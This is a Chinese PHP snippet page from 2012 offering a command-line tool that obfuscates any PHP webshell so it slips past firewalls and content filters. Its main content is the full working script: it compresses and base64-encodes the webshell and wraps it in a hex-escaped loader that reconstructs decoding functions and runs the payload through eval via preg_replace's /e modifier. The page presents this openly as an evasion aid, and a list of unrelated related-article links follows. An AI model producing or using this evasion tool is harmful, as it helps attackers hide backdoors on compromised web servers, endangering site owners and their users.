php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
php防注
Jan 15 PHP
PHP XML备份Mysql数据库
May 27 PHP
又一个PHP实现的冒泡排序算法分享
Aug 21 PHP
PHP封装CURL扩展类实例
Jul 28 PHP
浅析PHP关键词替换的类(避免重复替换,保留与还原原始链接)
Sep 22 PHP
抛弃 PHP 代价太高
Apr 26 PHP
PHP MySql增删改查的简单实例
Jun 21 PHP
深入讲解PHP的对象注入(Object Injection)
Mar 01 PHP
PHP实现的mysql主从数据库状态检测功能示例
Jul 20 PHP
PHP实现验证码校验功能
Nov 16 PHP
php如何获取Http请求
Apr 30 PHP
PHP7修改的函数
Mar 09 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
一个用于MySQL的PHP XML类
2006/10/09 PHP
一些关于PHP的知识
2006/11/17 PHP
PHP has encountered an Access Violation at 7C94BD02解决方法
2009/08/24 PHP
Warning: session_destroy() : Trying to destroy uninitialized sessionq错误
2011/06/16 PHP
php获得url参数中具有&amp;的值的方法
2014/03/05 PHP
destoon实现VIP排名一直在前面排序的方法
2014/08/21 PHP
PHP判断数组是否为空的常用方法(五种方法)
2017/02/08 PHP
php修改数组键名的方法示例
2017/04/15 PHP
PHP实现中国公民身份证号码有效性验证示例代码
2017/05/03 PHP
Input 特殊事件onpopertychange和oninput
2009/06/17 Javascript
在JS中解析HTML字符串示例代码
2014/04/16 Javascript
Javascript学习笔记之 对象篇(一) : 对象的使用和属性
2014/06/24 Javascript
jQuery 中$(this).index与$.each的使用指南
2014/11/20 Javascript
javascript中 try catch用法
2015/08/16 Javascript
WordPress中利用AJAX异步获取评论用户头像的方法
2016/01/08 Javascript
浅谈javascript的url参数parse和build函数
2017/03/04 Javascript
Vue异步组件使用详解
2017/04/08 Javascript
JavaScript实现简单的星星评分效果
2017/05/18 Javascript
React学习笔记之事件处理(二)
2017/07/02 Javascript
JavaScript创建对象的常用方式总结
2018/08/10 Javascript
js拖动滑块和点击水波纹效果实例代码
2018/10/16 Javascript
使用vuepress搭建静态博客的示例代码
2019/02/14 Javascript
vue+express+jwt持久化登录的方法
2019/06/14 Javascript
node.js制作一个简单的登录拦截器
2020/02/10 Javascript
使用 Opentype.js 生成字体子集的实例代码详解
2020/05/25 Javascript
[02:33]DOTA2亚洲邀请赛趣味视频之吐真话筒
2018/03/31 DOTA
Python selenium 父子、兄弟、相邻节点定位方式详解
2016/09/15 Python
python删除某个字符
2018/03/19 Python
Python实现的FTP通信客户端与服务器端功能示例
2018/03/28 Python
python实现录音小程序
2020/10/26 Python
django框架事务处理小结【ORM 事务及raw sql,customize sql 事务处理】
2019/06/27 Python
Python闭包与装饰器原理及实例解析
2020/04/30 Python
Python Scrapy多页数据爬取实现过程解析
2020/06/12 Python
Python 高效编程技巧分享
2020/09/10 Python
教师现实表现材料
2014/02/14 职场文书
《学棋》教后反思
2014/04/14 职场文书